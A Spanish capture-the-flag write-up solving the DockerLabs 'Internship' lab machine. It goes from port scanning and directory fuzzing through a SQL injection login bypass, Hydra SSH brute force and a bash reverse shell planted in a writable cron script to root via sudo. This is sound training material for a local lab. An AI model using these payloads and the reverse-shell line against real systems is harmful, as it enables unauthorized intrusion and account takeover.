Internship DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip internship.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh internship.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-13 11:47 EST
Nmap scan report for 172.17.0.2
Host is up (0.000046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 35:ff:c4:8b:c4:e1:46:12:43:b9:03:a9:cf:ec:f3:0a (ECDSA)
|_  256 23:ac:95:1e:be:33:9e:ed:14:f0:45:f6:27:51:ca:ba (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: GateKeeper HR | Tu Portal de Recursos Humanos
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds

Vemos una pagina normal, pero los botones ni nada, funciona, por lo que vamos a inspeccionar el codigo y veremos lo siguiente:

<link rel="dns-prefetch" href="//gatekeeperhr.com" />

Vemos lo que parece ser un dominio el cual vamos a poner en nuestro archivo hosts a ver si asi los botones van bien.

cat /etc/hosts

Info:

<IP>        gatekeeperhr.com

Lo guardamos y ahora pondremos lo siguiente en la URL:

URL = http://gatekeeperhr.com

Veremos que volvemos a la misma pagina, pero si le damos al boton de login veremos que funcion y veremos un panel de login.

Si probamos a realizar un SQL Injection simple, veremos que Bypasseamos el login y nos autenticamos:

User: ' OR 1=1-- -
Pass: ' OR 1=1-- -

Y veremos lo siguiente:

Por lo que vamos a probar a ver si podemos sacar info de la base de datos con el SQL Injection, pero no podremos realizar mucho, si hacemos un poco de fuzzing ahora con el dominio.

Gobuster

gobuster dir -u http://gatekeeperhr.com/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://gatekeeperhr.com/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 281]
/.htaccess            (Status: 403) [Size: 281]
/.htpasswd.php        (Status: 403) [Size: 281]
/.htpasswd.html       (Status: 403) [Size: 281]
/.htaccess.txt        (Status: 403) [Size: 281]
/.htaccess.php        (Status: 403) [Size: 281]
/about.html           (Status: 200) [Size: 3339]
/.htpasswd.txt        (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/contact.html         (Status: 200) [Size: 3140]
/css                  (Status: 403) [Size: 281]
/default              (Status: 200) [Size: 3861]
/includes             (Status: 403) [Size: 281]
/index.html           (Status: 200) [Size: 3971]
/js                   (Status: 403) [Size: 281]
/lab                  (Status: 403) [Size: 281]
/server-status        (Status: 403) [Size: 281]
/spam                 (Status: 200) [Size: 308]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos que hay una carpeta llamada /spam bastante interesante, en la que si entramos, veremos una pantalla en negro, pero si inspeccionamos el codigo, veremos lo siguiente:

<!-- Yn pbagenfrñn qr hab qr ybf cnfnagrf rf 'checy3' -->

Vemos que es una frase codificada en ROT13, y si lo decodificamos, veremos lo siguiente:

La contraseña de uno de los pasantes es 'purpl3'

Por lo que vemos hemos obtenido una contraseña y vemos que tenemos varios usuarios cuando entramos al panel de admin, por lo que nos crearemos un listado de usuarios con esos nombres:

Pero si inspeccionamos la pagina nos confirma que tiene que ser con uno de esos:

<!-- Quitar los permisos SSH a los pasantes, ya terminará el tiempo de pasantía -->

users.txt

ana
carlos
maria
juan
laura
pedro
sofia
diego
valentina
alejandro

Ahora realizaremos un ataque de fuerza bruta por SSH.

Escalate user pedro

Hydra

hydra -L users.txt -p purpl3 ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-13 12:18:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: pedro   password: purpl3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-13 12:18:57

Vemos que hemos obtenido las credenciales del usuario pedro, por lo que nos conectaremos por SSH.

SSH

ssh pedro@<IP>

Metemos como contraseña purpl3 y veremos que estamos dentro, por lo que leeremos la flag de usuario.

fl4g.txt

                           _
                        _ooOoo_
                       o8888888o
                       88" . "88
                       (| -_- |)
                       O\  =  /O
                    ____/`---'\____
                  .'  \\|     |//  `.
                 /  \\|||  :  |||//  \
                /  _||||| -:- |||||_  \
                |   | \\\  -  /'| |   |
                | \_|  `\`---'//  |_/ |
                \  .-\__ `-. -'__/-.  /
              ___`. .'  /--.--\  `. .'___
           ."" '<  `.___\_<|>_/___.' _> \"".
          | | :  `- \`. ;`. _/; .'/ /  .' ; |
          \  \ `-.   \_\_`. _.'_/_/  -' _.' /
===========`-.`___`-.__\ \___  /__.-'_.'_.-'================
                        `=--=-'                    

                      ~ Sigue asi ~

Escalate user valentina

Si inspeccionamos la carpeta /opt veremos el siguiente archivo:

total 12
drwxr-xr-x 1 root      root      4096 Feb 10 03:46 .
drwxr-xr-x 1 root      root      4096 Feb 13 16:47 ..
-rwxrw-rw- 1 valentina valentina   30 Feb  9 01:47 log_cleaner.sh

Vemos que el archivo es de valentina, pero podemos escribir dicho archivo y pensare que lo estara ejecutando cada x tiempo, por lo que borraremos el interior del codigo y pondremos lo siguiente:

#!/bin/bash

bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"

Lo guardamos y nos pondremos a la escucha:

nc -lvnp <PORT>

Y tendremos que esperar unos segundos, pasados unos segundos, si vamos a ver donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 38584
bash: cannot set terminal process group (2196): Inappropriate ioctl for device
bash: no job control in this shell
valentina@796c859a931f:~$ whoami
whoami
valentina

Vemos que seremos el usuario valentina, por lo que ahora tendremos que sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Por lo que leeremos la flag del usuario.

fl4g.txt

               ______
              '-._   ```"""---.._
           ,-----.:___           `\  ,;;;,
            '-.._     ```"""--.._  |,%%%%%%              _
            ,    '.              `\;;;;  -\      _    _.'/\
          .' `-.__ \            ,;;;;" .__{=====/_)==:_  ||
     ,===/        ```";,,,,,,,;;;;;'`-./.____,'/ /     '.\/
    '---/              ';;;;;;;;'      `--.._.' /
   ,===/                          '-.        `\/
  '---/                            ,'`.        |
     ;                        __.-'    \     ,'
jgs  \______,,.....------'''``          `---`


       ~ Ahora, a por la escalada de privilegios ~

Escalate Privileges

Vemos que en la home de valentina hay una imagen llamada profile_picture.jpeg la cual nos tendremso que pasar al host para investigarla, pero veremos que nos tenemos python, ni ningun tipo de herramientas para pasarnoslo, por lo que haremos lo siguiente:

cp ~/profile_picture.jpeg /tmp
cd /tmp
chmod 777 profile_picture.jpeg

Ahora desde nuestro host ejecutamos lo siguiente:

scp pedro@<IP>:/tmp/profile_picture.jpeg .

Y con esto ya tendremos la imagen en nuestro host con las credenciales de pedro.

Vamos a probar si contuviera algun archivo oculto la imagen con la siguiente herramienta:

steghide extract -sf profile_picture.jpeg

Dejamos el passphrase en blanco y veremos que nos extrae el archivo.

Info:

Enter passphrase: 
wrote extracted data to "secret.txt".

Si leemos el archivo secret.txt veremos lo siguiente:

mag1ck

Vemos que hemos obtenido una palabra lo que parece ser una contraseña del usuario valentina.

Si realizamos sudo -l y metemos la contraseña, veremos lo siguiente:

Matching Defaults entries for valentina on 796c859a931f:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, listpw=always

User valentina may run the following commands on 796c859a931f:
    (ALL : ALL) PASSWD: ALL, NOPASSWD: /usr/bin/vim

Por lo que vemos podemos ejecutar lo que queramos como root y el binario vim igual, por lo que haremos lo siguiente:

sudo su

Info:

root@796c859a931f:/tmp# whoami
root

Y con esto ya seremos root por lo que leeremos la flag de root.

fl4g.txt

 ,
     |\     ____
     \ \.-./ .-' T
      \ _  _( /| | |\
    ) | .)(./ |  |  |
      |   \(   \_|_/
  (   |     \    |
 )    |  \VvV    | (
      |  |\,,\   | 
    ) |  | ^^^   |    )
   (  |  |__     |   (
 )   /      `-. _|    )
(   /          /  `\
   /          ///_ |
  /jgs       (((-|'
              ```|

  _, _, ,  ,  _,  ,_  _  ___,_,
 /  / \,|\ | / _  |_)'|\' | (_,
'\_'\_/ |'\|'\_|`'| \ |-\ |  _)
   `'   '  `  _|  '  `'  `' '  
             '                 
Instagram: @purpl3_mag1ck
TikTok: @purple_mag1ck

Last updated